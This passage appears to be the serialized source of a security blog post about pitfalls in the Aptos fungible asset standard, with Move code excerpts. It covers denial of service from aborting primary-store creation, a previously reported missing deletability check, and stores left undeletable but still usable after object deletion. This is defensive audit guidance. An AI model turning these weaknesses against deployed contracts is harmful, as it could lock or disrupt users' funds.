",{"type":21,"tag":194,"props":62962,"children":62964},{"className":62963},[],[62965],{"type":27,"value":62966},"CoinStores",{"type":27,"value":62968}," are not unique. Each user can have multiple ",{"type":21,"tag":194,"props":62970,"children":62972},{"className":62971},[],[62973],{"type":27,"value":62454},{"type":27,"value":62975}," objects for a given token!",{"type":21,"tag":30,"props":62977,"children":62978},{},[62979,62981,62988,62990,62995],{"type":27,"value":62980},"A primary fungible store is maintained via the aptly named ",{"type":21,"tag":34,"props":62982,"children":62985},{"href":62983,"rel":62984},"https://github.com/aptos-labs/aptos-core/blob/2bea962eac4743db6cc0ae2e8a2fd7fcc323b121/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move",[38],[62986],{"type":27,"value":62987},"primary_fungible_store",{"type":27,"value":62989}," module. It's \"primary\" because of its deterministic location, which is calculated using the owner and the fungible asset's ",{"type":21,"tag":194,"props":62991,"children":62993},{"className":62992},[],[62994],{"type":27,"value":61948},{"type":27,"value":62996}," addresses. Users can also create a number of \"secondary\" fungible stores by themselves.",{"type":21,"tag":30,"props":62998,"children":62999},{},[63000],{"type":27,"value":63001},"One key feature of the primary fungible stores is their permissionless creation. This can lead to surprising denial of service bugs!",{"type":21,"tag":187,"props":63003,"children":63005},{"className":3789,"code":63004,"language":3788,"meta":7,"style":7},"public entry fun register(\n user: &signer, [...]\n) acquires [...] {\n [...]\n let wallet_store = create_primary_store(signer::address_of(sender), get_metadata());\n [...]\n}\n",[63006],{"type":21,"tag":194,"props":63007,"children":63008},{"__ignoreMap":7},[63009,63034,63066,63089,63105,63159,63174],{"type":21,"tag":198,"props":63010,"children":63011},{"class":200,"line":201},[63012,63016,63021,63025,63030],{"type":21,"tag":198,"props":63013,"children":63014},{"style":226},[63015],{"type":27,"value":62053},{"type":21,"tag":198,"props":63017,"children":63018},{"style":226},[63019],{"type":27,"value":63020}," entry",{"type":21,"tag":198,"props":63022,"children":63023},{"style":226},[63024],{"type":27,"value":7019},{"type":21,"tag":198,"props":63026,"children":63027},{"style":698},[63028],{"type":27,"value":63029}," register",{"type":21,"tag":198,"props":63031,"children":63032},{"style":211},[63033],{"type":27,"value":4268},{"type":21,"tag":198,"props":63035,"children":63036},{"class":200,"line":217},[63037,63042,63046,63050,63054,63058,63062],{"type":21,"tag":198,"props":63038,"children":63039},{"style":226},[63040],{"type":27,"value":63041}," user",{"type":21,"tag":198,"props":63043,"children":63044},{"style":683},[63045],{"type":27,"value":185},{"type":21,"tag":198,"props":63047,"children":63048},{"style":683},[63049],{"type":27,"value":7953},{"type":21,"tag":198,"props":63051,"children":63052},{"style":226},[63053],{"type":27,"value":7958},{"type":21,"tag":198,"props":63055,"children":63056},{"style":211},[63057],{"type":27,"value":44893},{"type":21,"tag":198,"props":63059,"children":63060},{"style":683},[63061],{"type":27,"value":10402},{"type":21,"tag":198,"props":63063,"children":63064},{"style":211},[63065],{"type":27,"value":12582},{"type":21,"tag":198,"props":63067,"children":63068},{"class":200,"line":236},[63069,63073,63077,63081,63085],{"type":21,"tag":198,"props":63070,"children":63071},{"style":211},[63072],{"type":27,"value":1541},{"type":21,"tag":198,"props":63074,"children":63075},{"style":226},[63076],{"type":27,"value":7156},{"type":21,"tag":198,"props":63078,"children":63079},{"style":211},[63080],{"type":27,"value":2810},{"type":21,"tag":198,"props":63082,"children":63083},{"style":683},[63084],{"type":27,"value":10402},{"type":21,"tag":198,"props":63086,"children":63087},{"style":211},[63088],{"type":27,"value":62144},{"type":21,"tag":198,"props":63090,"children":63091},{"class":200,"line":260},[63092,63097,63101],{"type":21,"tag":198,"props":63093,"children":63094},{"style":211},[63095],{"type":27,"value":63096}," [",{"type":21,"tag":198,"props":63098,"children":63099},{"style":683},[63100],{"type":27,"value":10402},{"type":21,"tag":198,"props":63102,"children":63103},{"style":211},[63104],{"type":27,"value":12582},{"type":21,"tag":198,"props":63106,"children":63107},{"class":200,"line":281},[63108,63112,63117,63121,63126,63130,63134,63138,63142,63146,63150,63155],{"type":21,"tag":198,"props":63109,"children":63110},{"style":249},[63111],{"type":27,"value":3809},{"type":21,"tag":198,"props":63113,"children":63114},{"style":226},[63115],{"type":27,"value":63116}," wallet_store",{"type":21,"tag":198,"props":63118,"children":63119},{"style":683},[63120],{"type":27,"value":979},{"type":21,"tag":198,"props":63122,"children":63123},{"style":698},[63124],{"type":27,"value":63125}," create_primary_store",{"type":21,"tag":198,"props":63127,"children":63128},{"style":211},[63129],{"type":27,"value":8012},{"type":21,"tag":198,"props":63131,"children":63132},{"style":683},[63133],{"type":27,"value":4286},{"type":21,"tag":198,"props":63135,"children":63136},{"style":698},[63137],{"type":27,"value":8021},{"type":21,"tag":198,"props":63139,"children":63140},{"style":211},[63141],{"type":27,"value":706},{"type":21,"tag":198,"props":63143,"children":63144},{"style":226},[63145],{"type":27,"value":62239},{"type":21,"tag":198,"props":63147,"children":63148},{"style":211},[63149],{"type":27,"value":15982},{"type":21,"tag":198,"props":63151,"children":63152},{"style":698},[63153],{"type":27,"value":63154},"get_metadata",{"type":21,"tag":198,"props":63156,"children":63157},{"style":211},[63158],{"type":27,"value":16229},{"type":21,"tag":198,"props":63160,"children":63161},{"class":200,"line":302},[63162,63166,63170],{"type":21,"tag":198,"props":63163,"children":63164},{"style":211},[63165],{"type":27,"value":63096},{"type":21,"tag":198,"props":63167,"children":63168},{"style":683},[63169],{"type":27,"value":10402},{"type":21,"tag":198,"props":63171,"children":63172},{"style":211},[63173],{"type":27,"value":12582},{"type":21,"tag":198,"props":63175,"children":63176},{"class":200,"line":323},[63177],{"type":21,"tag":198,"props":63178,"children":63179},{"style":211},[63180],{"type":27,"value":1120},{"type":21,"tag":30,"props":63182,"children":63183},{},[63184,63185,63191,63193,63199],{"type":27,"value":534},{"type":21,"tag":194,"props":63186,"children":63188},{"className":63187},[],[63189],{"type":27,"value":63190},"create_primary_store",{"type":27,"value":63192}," function can introduce DoS vulnerabilities because it aborts if the store already exists. Using ",{"type":21,"tag":194,"props":63194,"children":63196},{"className":63195},[],[63197],{"type":27,"value":63198},"ensure_primary_store_exists",{"type":27,"value":63200}," is recommended to avoid such issues.",{"type":21,"tag":22,"props":63202,"children":63204},{"id":63203},"fungible-assets-and-objects",[63205],{"type":27,"value":63206},"Fungible assets and objects",{"type":21,"tag":30,"props":63208,"children":63209},{},[63210,63212,63217,63219,63226],{"type":27,"value":63211},"The fungible asset standard is not a standalone module. It has heavy dependencies on a sibling module, the ",{"type":21,"tag":194,"props":63213,"children":63215},{"className":63214},[],[63216],{"type":27,"value":1950},{"type":27,"value":63218}," module, introduced in ",{"type":21,"tag":34,"props":63220,"children":63223},{"href":63221,"rel":63222},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-10.md",[38],[63224],{"type":27,"value":63225},"AIP-10",{"type":27,"value":658},{"type":21,"tag":3741,"props":63228,"children":63229},{},[63230],{"type":21,"tag":30,"props":63231,"children":63232},{},[63233,63237],{"type":21,"tag":198,"props":63234,"children":63235},{},[63236],{"type":27,"value":61828},{"type":27,"value":63238}," proposes a standard for Fungible Assets (FA) using Move Objects. In this model, any on-chain asset represented as an object can also be expressed as a fungible asset allowing for a single object to be represented by many distinct, yet interchangeable units of ownership.",{"type":21,"tag":30,"props":63240,"children":63241},{},[63242],{"type":27,"value":63243},"These two modules are closely intertwined, and their connection can be surprisingly intricate.",{"type":21,"tag":59,"props":63245,"children":63247},{"id":63246},"creation-and-deletion",[63248],{"type":27,"value":63249},"Creation and deletion",{"type":21,"tag":30,"props":63251,"children":63252},{},[63253,63255,63261],{"type":27,"value":63254},"To create a fungible resource, an undeletable object must first be created. \"Undeletable\" means, that it's not possible to get a permission to delete it. This is verified in ",{"type":21,"tag":194,"props":63256,"children":63258},{"className":63257},[],[63259],{"type":27,"value":63260},"fungible_asset::add_fungibility",{"type":27,"value":185},{"type":21,"tag":187,"props":63263,"children":63265},{"className":3789,"code":63264,"language":3788,"meta":7,"style":7},"assert!(!object::can_generate_delete_ref(constructor_ref), error::invalid_argument(EOBJECT_IS_DELETABLE));\n",[63266],{"type":21,"tag":194,"props":63267,"children":63268},{"__ignoreMap":7},[63269],{"type":21,"tag":198,"props":63270,"children":63271},{"class":200,"line":201},[63272,63276,63280,63284,63289,63293,63298,63302,63307,63312,63316,63320],{"type":21,"tag":198,"props":63273,"children":63274},{"style":698},[63275],{"type":27,"value":42738},{"type":21,"tag":198,"props":63277,"children":63278},{"style":211},[63279],{"type":27,"value":706},{"type":21,"tag":198,"props":63281,"children":63282},{"style":683},[63283],{"type":27,"value":686},{"type":21,"tag":198,"props":63285,"children":63286},{"style":211},[63287],{"type":27,"value":63288},"object",{"type":21,"tag":198,"props":63290,"children":63291},{"style":683},[63292],{"type":27,"value":4286},{"type":21,"tag":198,"props":63294,"children":63295},{"style":698},[63296],{"type":27,"value":63297},"can_generate_delete_ref",{"type":21,"tag":198,"props":63299,"children":63300},{"style":211},[63301],{"type":27,"value":706},{"type":21,"tag":198,"props":63303,"children":63304},{"style":226},[63305],{"type":27,"value":63306},"constructor_ref",{"type":21,"tag":198,"props":63308,"children":63309},{"style":211},[63310],{"type":27,"value":63311},"), error",{"type":21,"tag":198,"props":63313,"children":63314},{"style":683},[63315],{"type":27,"value":4286},{"type":21,"tag":198,"props":63317,"children":63318},{"style":698},[63319],{"type":27,"value":62752},{"type":21,"tag":198,"props":63321,"children":63322},{"style":211},[63323],{"type":27,"value":63324},"(EOBJECT_IS_DELETABLE));\n",{"type":21,"tag":30,"props":63326,"children":63327},{},[63328,63330,63335,63337,63342,63343,63350],{"type":27,"value":63329},"This object serves as the foundation for ownership tokens in the form of a ",{"type":21,"tag":194,"props":63331,"children":63333},{"className":63332},[],[63334],{"type":27,"value":61889},{"type":27,"value":63336},". This means that allowing it to be deletable wouldn't make sense and would impact the usability of such fungible assets, restricting users from accessing critical functionalities such as creating new stores. In the past the ",{"type":21,"tag":194,"props":63338,"children":63340},{"className":63339},[],[63341],{"type":27,"value":63260},{"type":27,"value":915},{"type":21,"tag":34,"props":63344,"children":63347},{"href":63345,"rel":63346},"https://github.com/aptos-labs/aptos-core/commit/6976f8e9004b0f6ebb6fd976410d695c5a5a7ace",[38],[63348],{"type":27,"value":63349},"lacked this assert",{"type":27,"value":63351},", which we discovered and reported.",{"type":21,"tag":30,"props":63353,"children":63354},{},[63355,63360,63362,63367,63369,63374],{"type":21,"tag":194,"props":63356,"children":63358},{"className":63357},[],[63359],{"type":27,"value":63260},{"type":27,"value":63361}," transfers the ",{"type":21,"tag":194,"props":63363,"children":63365},{"className":63364},[],[63366],{"type":27,"value":61948},{"type":27,"value":63368}," and associated resources to this new object. After that, with the appropriate permissions, the ",{"type":21,"tag":194,"props":63370,"children":63372},{"className":63371},[],[63373],{"type":27,"value":61889},{"type":27,"value":63375}," can be minted, representing a share of ownership in that object.",{"type":21,"tag":187,"props":63377,"children":63379},{"className":3789,"code":63378,"language":3788,"meta":7,"style":7},"/// Make an existing object fungible by adding the Metadata resource.\npublic fun add_fungibility(\n [...]\n): Object\u003CMetadata> {\n [...]\n move_to(metadata_object_signer,\n Metadata {\n name,\n symbol,\n decimals,\n icon_uri,\n project_uri,\n }\n );\n[...]\n}\n",[63380],{"type":21,"tag":194,"props":63381,"children":63382},{"__ignoreMap":7},[63383,63391,63411,63426,63453,63468,63489,63501,63513,63525,63537,63549,63561,63568,63575,63590],{"type":21,"tag":198,"props":63384,"children":63385},{"class":200,"line":201},[63386],{"type":21,"tag":198,"props":63387,"children":63388},{"style":1233},[63389],{"type":27,"value":63390},"/// Make an existing object fungible by adding the Metadata resource.\n",{"type":21,"tag":198,"props":63392,"children":63393},{"class":200,"line":217},[63394,63398,63402,63407],{"type":21,"tag":198,"props":63395,"children":63396},{"style":226},[63397],{"type":27,"value":62053},{"type":21,"tag":198,"props":63399,"children":63400},{"style":226},[63401],{"type":27,"value":7019},{"type":21,"tag":198,"props":63403,"children":63404},{"style":698},[63405],{"type":27,"value":63406}," add_fungibility",{"type":21,"tag":198,"props":63408,"children":63409},{"style":211},[63410],{"type":27,"value":4268},{"type":21,"tag":198,"props":63412,"children":63413},{"class":200,"line":236},[63414,63418,63422],{"type":21,"tag":198,"props":63415,"children":63416},{"style":211},[63417],{"type":27,"value":63096},{"type":21,"tag":198,"props":63419,"children":63420},{"style":683},[63421],{"type":27,"value":10402},{"type":21,"tag":198,"props":63423,"children":63424},{"style":211},[63425],{"type":27,"value":12582},{"type":21,"tag":198,"props":63427,"children":63428},{"class":200,"line":260},[63429,63433,63437,63441,63445,63449],{"type":21,"tag":198,"props":63430,"children":63431},{"style":211},[63432],{"type":27,"value":2109},{"type":21,"tag":198,"props":63434,"children":63435},{"style":683},[63436],{"type":27,"value":185},{"type":21,"tag":198,"props":63438,"children":63439},{"style":1966},[63440],{"type":27,"value":61939},{"type":21,"tag":198,"props":63442,"children":63443},{"style":211},[63444],{"type":27,"value":3159},{"type":21,"tag":198,"props":63446,"children":63447},{"style":1966},[63448],{"type":27,"value":61948},{"type":21,"tag":198,"props":63450,"children":63451},{"style":211},[63452],{"type":27,"value":8093},{"type":21,"tag":198,"props":63454,"children":63455},{"class":200,"line":281},[63456,63460,63464],{"type":21,"tag":198,"props":63457,"children":63458},{"style":211},[63459],{"type":27,"value":63096},{"type":21,"tag":198,"props":63461,"children":63462},{"style":683},[63463],{"type":27,"value":10402},{"type":21,"tag":198,"props":63465,"children":63466},{"style":211},[63467],{"type":27,"value":12582},{"type":21,"tag":198,"props":63469,"children":63470},{"class":200,"line":302},[63471,63476,63480,63485],{"type":21,"tag":198,"props":63472,"children":63473},{"style":698},[63474],{"type":27,"value":63475}," move_to",{"type":21,"tag":198,"props":63477,"children":63478},{"style":211},[63479],{"type":27,"value":706},{"type":21,"tag":198,"props":63481,"children":63482},{"style":226},[63483],{"type":27,"value":63484},"metadata_object_signer",{"type":21,"tag":198,"props":63486,"children":63487},{"style":211},[63488],{"type":27,"value":257},{"type":21,"tag":198,"props":63490,"children":63491},{"class":200,"line":323},[63492,63497],{"type":21,"tag":198,"props":63493,"children":63494},{"style":1966},[63495],{"type":27,"value":63496}," Metadata",{"type":21,"tag":198,"props":63498,"children":63499},{"style":211},[63500],{"type":27,"value":233},{"type":21,"tag":198,"props":63502,"children":63503},{"class":200,"line":344},[63504,63509],{"type":21,"tag":198,"props":63505,"children":63506},{"style":226},[63507],{"type":27,"value":63508}," name",{"type":21,"tag":198,"props":63510,"children":63511},{"style":211},[63512],{"type":27,"value":257},{"type":21,"tag":198,"props":63514,"children":63515},{"class":200,"line":365},[63516,63521],{"type":21,"tag":198,"props":63517,"children":63518},{"style":226},[63519],{"type":27,"value":63520}," symbol",{"type":21,"tag":198,"props":63522,"children":63523},{"style":211},[63524],{"type":27,"value":257},{"type":21,"tag":198,"props":63526,"children":63527},{"class":200,"line":386},[63528,63533],{"type":21,"tag":198,"props":63529,"children":63530},{"style":226},[63531],{"type":27,"value":63532}," decimals",{"type":21,"tag":198,"props":63534,"children":63535},{"style":211},[63536],{"type":27,"value":257},{"type":21,"tag":198,"props":63538,"children":63539},{"class":200,"line":408},[63540,63545],{"type":21,"tag":198,"props":63541,"children":63542},{"style":226},[63543],{"type":27,"value":63544}," icon_uri",{"type":21,"tag":198,"props":63546,"children":63547},{"style":211},[63548],{"type":27,"value":257},{"type":21,"tag":198,"props":63550,"children":63551},{"class":200,"line":429},[63552,63557],{"type":21,"tag":198,"props":63553,"children":63554},{"style":226},[63555],{"type":27,"value":63556}," project_uri",{"type":21,"tag":198,"props":63558,"children":63559},{"style":211},[63560],{"type":27,"value":257},{"type":21,"tag":198,"props":63562,"children":63563},{"class":200,"line":450},[63564],{"type":21,"tag":198,"props":63565,"children":63566},{"style":211},[63567],{"type":27,"value":1160},{"type":21,"tag":198,"props":63569,"children":63570},{"class":200,"line":468},[63571],{"type":21,"tag":198,"props":63572,"children":63573},{"style":211},[63574],{"type":27,"value":44412},{"type":21,"tag":198,"props":63576,"children":63577},{"class":200,"line":477},[63578,63582,63586],{"type":21,"tag":198,"props":63579,"children":63580},{"style":211},[63581],{"type":27,"value":2051},{"type":21,"tag":198,"props":63583,"children":63584},{"style":683},[63585],{"type":27,"value":10402},{"type":21,"tag":198,"props":63587,"children":63588},{"style":211},[63589],{"type":27,"value":12582},{"type":21,"tag":198,"props":63591,"children":63592},{"class":200,"line":494},[63593],{"type":21,"tag":198,"props":63594,"children":63595},{"style":211},[63596],{"type":27,"value":1120},{"type":21,"tag":19590,"props":63598,"children":63599},{},[],{"type":21,"tag":30,"props":63601,"children":63602},{},[63603,63605,63610,63612,63617],{"type":27,"value":63604},"Deletions can be a big issue even when dealing with objects that are eligible for deletion. For example, a ",{"type":21,"tag":194,"props":63606,"children":63608},{"className":63607},[],[63609],{"type":27,"value":62454},{"type":27,"value":63611}," is also an object, and a \"secondary\" ",{"type":21,"tag":194,"props":63613,"children":63615},{"className":63614},[],[63616],{"type":27,"value":62454},{"type":27,"value":63618}," can be created as deletable if empty. The catch is that deletion can occur both at the fungible asset level and at the object level.",{"type":21,"tag":187,"props":63620,"children":63622},{"className":3789,"code":63621,"language":3788,"meta":7,"style":7},"//Fungible asset\npublic fun remove_store(delete_ref: &DeleteRef)\n\n//Object\npublic fun delete(ref: DeleteRef)\n",[63623],{"type":21,"tag":194,"props":63624,"children":63625},{"__ignoreMap":7},[63626,63634,63676,63683,63691],{"type":21,"tag":198,"props":63627,"children":63628},{"class":200,"line":201},[63629],{"type":21,"tag":198,"props":63630,"children":63631},{"style":1233},[63632],{"type":27,"value":63633},"//Fungible asset\n",{"type":21,"tag":198,"props":63635,"children":63636},{"class":200,"line":217},[63637,63641,63645,63650,63654,63659,63663,63667,63672],{"type":21,"tag":198,"props":63638,"children":63639},{"style":226},[63640],{"type":27,"value":62053},{"type":21,"tag":198,"props":63642,"children":63643},{"style":226},[63644],{"type":27,"value":7019},{"type":21,"tag":198,"props":63646,"children":63647},{"style":698},[63648],{"type":27,"value":63649}," remove_store",{"type":21,"tag":198,"props":63651,"children":63652},{"style":211},[63653],{"type":27,"value":706},{"type":21,"tag":198,"props":63655,"children":63656},{"style":226},[63657],{"type":27,"value":63658},"delete_ref",{"type":21,"tag":198,"props":63660,"children":63661},{"style":683},[63662],{"type":27,"value":185},{"type":21,"tag":198,"props":63664,"children":63665},{"style":683},[63666],{"type":27,"value":7953},{"type":21,"tag":198,"props":63668,"children":63669},{"style":1966},[63670],{"type":27,"value":63671},"DeleteRef",{"type":21,"tag":198,"props":63673,"children":63674},{"style":211},[63675],{"type":27,"value":789},{"type":21,"tag":198,"props":63677,"children":63678},{"class":200,"line":236},[63679],{"type":21,"tag":198,"props":63680,"children":63681},{"emptyLinePlaceholder":16},[63682],{"type":27,"value":1283},{"type":21,"tag":198,"props":63684,"children":63685},{"class":200,"line":260},[63686],{"type":21,"tag":198,"props":63687,"children":63688},{"style":1233},[63689],{"type":27,"value":63690},"//Object\n",{"type":21,"tag":198,"props":63692,"children":63693},{"class":200,"line":281},[63694,63698,63702,63707,63711,63716,63720,63725],{"type":21,"tag":198,"props":63695,"children":63696},{"style":226},[63697],{"type":27,"value":62053},{"type":21,"tag":198,"props":63699,"children":63700},{"style":226},[63701],{"type":27,"value":7019},{"type":21,"tag":198,"props":63703,"children":63704},{"style":698},[63705],{"type":27,"value":63706}," delete",{"type":21,"tag":198,"props":63708,"children":63709},{"style":211},[63710],{"type":27,"value":706},{"type":21,"tag":198,"props":63712,"children":63713},{"style":249},[63714],{"type":27,"value":63715},"ref",{"type":21,"tag":198,"props":63717,"children":63718},{"style":683},[63719],{"type":27,"value":185},{"type":21,"tag":198,"props":63721,"children":63722},{"style":1966},[63723],{"type":27,"value":63724}," DeleteRef",{"type":21,"tag":198,"props":63726,"children":63727},{"style":211},[63728],{"type":27,"value":789},{"type":21,"tag":30,"props":63730,"children":63731},{},[63732,63734,63740,63742,63747,63749,63754,63756,63761,63763,63769,63771,63777,63779,63784],{"type":27,"value":63733},"When ",{"type":21,"tag":194,"props":63735,"children":63737},{"className":63736},[],[63738],{"type":27,"value":63739},"object::delete",{"type":27,"value":63741}," removes the ",{"type":21,"tag":194,"props":63743,"children":63745},{"className":63744},[],[63746],{"type":27,"value":1950},{"type":27,"value":63748}," from a ",{"type":21,"tag":194,"props":63750,"children":63752},{"className":63751},[],[63753],{"type":27,"value":62454},{"type":27,"value":63755}," object, the ",{"type":21,"tag":194,"props":63757,"children":63759},{"className":63758},[],[63760],{"type":27,"value":62454},{"type":27,"value":63762}," resource becomes permanently undeletable. This is because ",{"type":21,"tag":194,"props":63764,"children":63766},{"className":63765},[],[63767],{"type":27,"value":63768},"remove_store",{"type":27,"value":63770}," can't create an ",{"type":21,"tag":194,"props":63772,"children":63774},{"className":63773},[],[63775],{"type":27,"value":63776},"Object\u003CFungibleStore>",{"type":27,"value":63778}," without an ",{"type":21,"tag":194,"props":63780,"children":63782},{"className":63781},[],[63783],{"type":27,"value":1950},{"type":27,"value":63785}," underneath, causing the operation to fail.",{"type":21,"tag":187,"props":63787,"children":63789},{"className":3789,"code":63788,"language":3788,"meta":7,"style":7},"public fun remove_store(delete_ref: &DeleteRef) acquires [...] {\n let store = &object::object_from_delete_ref\u003CFungibleStore>(delete_ref);\n [...]\n}\n",[63790],{"type":21,"tag":194,"props":63791,"children":63792},{"__ignoreMap":7},[63793,63848,63900,63915],{"type":21,"tag":198,"props":63794,"children":63795},{"class":200,"line":201},[63796,63800,63804,63808,63812,63816,63820,63824,63828,63832,63836,63840,63844],{"type":21,"tag":198,"props":63797,"children":63798},{"style":226},[63799],{"type":27,"value":62053},{"type":21,"tag":198,"props":63801,"children":63802},{"style":226},[63803],{"type":27,"value":7019},{"type":21,"tag":198,"props":63805,"children":63806},{"style":698},[63807],{"type":27,"value":63649},{"type":21,"tag":198,"props":63809,"children":63810},{"style":211},[63811],{"type":27,"value":706},{"type":21,"tag":198,"props":63813,"children":63814},{"style":226},[63815],{"type":27,"value":63658},{"type":21,"tag":198,"props":63817,"children":63818},{"style":683},[63819],{"type":27,"value":185},{"type":21,"tag":198,"props":63821,"children":63822},{"style":683},[63823],{"type":27,"value":7953},{"type":21,"tag":198,"props":63825,"children":63826},{"style":1966},[63827],{"type":27,"value":63671},{"type":21,"tag":198,"props":63829,"children":63830},{"style":211},[63831],{"type":27,"value":1541},{"type":21,"tag":198,"props":63833,"children":63834},{"style":226},[63835],{"type":27,"value":7156},{"type":21,"tag":198,"props":63837,"children":63838},{"style":211},[63839],{"type":27,"value":2810},{"type":21,"tag":198,"props":63841,"children":63842},{"style":683},[63843],{"type":27,"value":10402},{"type":21,"tag":198,"props":63845,"children":63846},{"style":211},[63847],{"type":27,"value":62144},{"type":21,"tag":198,"props":63849,"children":63850},{"class":200,"line":217},[63851,63855,63859,63863,63867,63871,63875,63880,63884,63888,63892,63896],{"type":21,"tag":198,"props":63852,"children":63853},{"style":249},[63854],{"type":27,"value":3809},{"type":21,"tag":198,"props":63856,"children":63857},{"style":226},[63858],{"type":27,"value":6644},{"type":21,"tag":198,"props":63860,"children":63861},{"style":683},[63862],{"type":27,"value":979},{"type":21,"tag":198,"props":63864,"children":63865},{"style":683},[63866],{"type":27,"value":7953},{"type":21,"tag":198,"props":63868,"children":63869},{"style":211},[63870],{"type":27,"value":63288},{"type":21,"tag":198,"props":63872,"children":63873},{"style":683},[63874],{"type":27,"value":4286},{"type":21,"tag":198,"props":63876,"children":63877},{"style":226},[63878],{"type":27,"value":63879},"object_from_delete_ref",{"type":21,"tag":198,"props":63881,"children":63882},{"style":211},[63883],{"type":27,"value":3159},{"type":21,"tag":198,"props":63885,"children":63886},{"style":1966},[63887],{"type":27,"value":62454},{"type":21,"tag":198,"props":63889,"children":63890},{"style":211},[63891],{"type":27,"value":8423},{"type":21,"tag":198,"props":63893,"children":63894},{"style":226},[63895],{"type":27,"value":63658},{"type":21,"tag":198,"props":63897,"children":63898},{"style":211},[63899],{"type":27,"value":1470},{"type":21,"tag":198,"props":63901,"children":63902},{"class":200,"line":236},[63903,63907,63911],{"type":21,"tag":198,"props":63904,"children":63905},{"style":211},[63906],{"type":27,"value":63096},{"type":21,"tag":198,"props":63908,"children":63909},{"style":683},[63910],{"type":27,"value":10402},{"type":21,"tag":198,"props":63912,"children":63913},{"style":211},[63914],{"type":27,"value":12582},{"type":21,"tag":198,"props":63916,"children":63917},{"class":200,"line":260},[63918],{"type":21,"tag":198,"props":63919,"children":63920},{"style":211},[63921],{"type":27,"value":1120},{"type":21,"tag":30,"props":63923,"children":63924},{},[63925,63927,63932,63934,63940,63942,63947],{"type":27,"value":63926},"In addition, such \"deleted\" ",{"type":21,"tag":194,"props":63928,"children":63930},{"className":63929},[],[63931],{"type":27,"value":62454},{"type":27,"value":63933}," objects remain at least partially operable. For instance, ",{"type":21,"tag":194,"props":63935,"children":63937},{"className":63936},[],[63938],{"type":27,"value":63939},"fungible_asset::deposit",{"type":27,"value":63941}," does not check the ",{"type":21,"tag":194,"props":63943,"children":63945},{"className":63944},[],[63946],{"type":27,"value":1950},{"type":27,"value":63948}," existence.",{"type":21,"tag":59,"props":63950,"children":63952},{"id":63951},"ownership",[63953],{"type":27,"value":63954},"Ownership",{"type":21,"tag":30,"props":63956,"children":63957},{},[63958,63960,63965,63967,63973,63975,63980],{"type":27,"value":63959},"Each object has an owner. Fungible assets rely on the ",{"type":21,"tag":194,"props":63961,"children":63963},{"className":63962},[],[63964],{"type":27,"value":1950},{"type":27,"value":63966}," ownership model. For example, during a withdrawal operation, the signer is validated using ",{"type":21,"tag":194,"props":63968,"children":63970},{"className":63969},[],[63971],{"type":27,"value":63972},"object::owns",{"type":27,"value":63974}," to confirm ownership of the ",{"type":21,"tag":194,"props":63976,"children":63978},{"className":63977},[],[63979],{"type":27,"value":62454},{"type":27,"value":3307},{"type":21,"tag":187,"props":63982,"children":63984},{"className":3789,"code":63983,"language":3788,"meta":7,"style":7},"public(friend) fun withdraw_sanity_check\u003CT: key>(\n owner: &signer,\n store: Object\u003CT>,\n abort_on_dispatch: bool,\n) acquires FungibleStore, DispatchFunctionStore {\n assert!(object::owns(store, signer::address_of(owner)), error::permission_denied(ENOT_STORE_OWNER));\n [...]\n}\n",[63985],{"type":21,"tag":194,"props":63986,"children":63987},{"__ignoreMap":7},[63988,64036,64060,64087,64107,64135,64203,64218],{"type":21,"tag":198,"props":63989,"children":63990},{"class":200,"line":201},[63991,63995,63999,64003,64007,64011,64016,64020,64024,64028,64032],{"type":21,"tag":198,"props":63992,"children":63993},{"style":698},[63994],{"type":27,"value":62053},{"type":21,"tag":198,"props":63996,"children":63997},{"style":211},[63998],{"type":27,"value":706},{"type":21,"tag":198,"props":64000,"children":64001},{"style":226},[64002],{"type":27,"value":7910},{"type":21,"tag":198,"props":64004,"children":64005},{"style":211},[64006],{"type":27,"value":1541},{"type":21,"tag":198,"props":64008,"children":64009},{"style":226},[64010],{"type":27,"value":7919},{"type":21,"tag":198,"props":64012,"children":64013},{"style":226},[64014],{"type":27,"value":64015}," withdraw_sanity_check",{"type":21,"tag":198,"props":64017,"children":64018},{"style":211},[64019],{"type":27,"value":3159},{"type":21,"tag":198,"props":64021,"children":64022},{"style":1966},[64023],{"type":27,"value":6800},{"type":21,"tag":198,"props":64025,"children":64026},{"style":683},[64027],{"type":27,"value":185},{"type":21,"tag":198,"props":64029,"children":64030},{"style":226},[64031],{"type":27,"value":6744},{"type":21,"tag":198,"props":64033,"children":64034},{"style":211},[64035],{"type":27,"value":7400},{"type":21,"tag":198,"props":64037,"children":64038},{"class":200,"line":217},[64039,64044,64048,64052,64056],{"type":21,"tag":198,"props":64040,"children":64041},{"style":226},[64042],{"type":27,"value":64043}," owner",{"type":21,"tag":198,"props":64045,"children":64046},{"style":683},[64047],{"type":27,"value":185},{"type":21,"tag":198,"props":64049,"children":64050},{"style":683},[64051],{"type":27,"value":7953},{"type":21,"tag":198,"props":64053,"children":64054},{"style":226},[64055],{"type":27,"value":7958},{"type":21,"tag":198,"props":64057,"children":64058},{"style":211},[64059],{"type":27,"value":257},{"type":21,"tag":198,"props":64061,"children":64062},{"class":200,"line":236},[64063,64067,64071,64075,64079,64083],{"type":21,"tag":198,"props":64064,"children":64065},{"style":226},[64066],{"type":27,"value":30216},{"type":21,"tag":198,"props":64068,"children":64069},{"style":683},[64070],{"type":27,"value":185},{"type":21,"tag":198,"props":64072,"children":64073},{"style":1966},[64074],{"type":27,"value":61939},{"type":21,"tag":198,"props":64076,"children":64077},{"style":211},[64078],{"type":27,"value":3159},{"type":21,"tag":198,"props":64080,"children":64081},{"style":1966},[64082],{"type":27,"value":6800},{"type":21,"tag":198,"props":64084,"children":64085},{"style":211},[64086],{"type":27,"value":6950},{"type":21,"tag":198,"props":64088,"children":64089},{"class":200,"line":260},[64090,64095,64099,64103],{"type":21,"tag":198,"props":64091,"children":64092},{"style":226},[64093],{"type":27,"value":64094}," 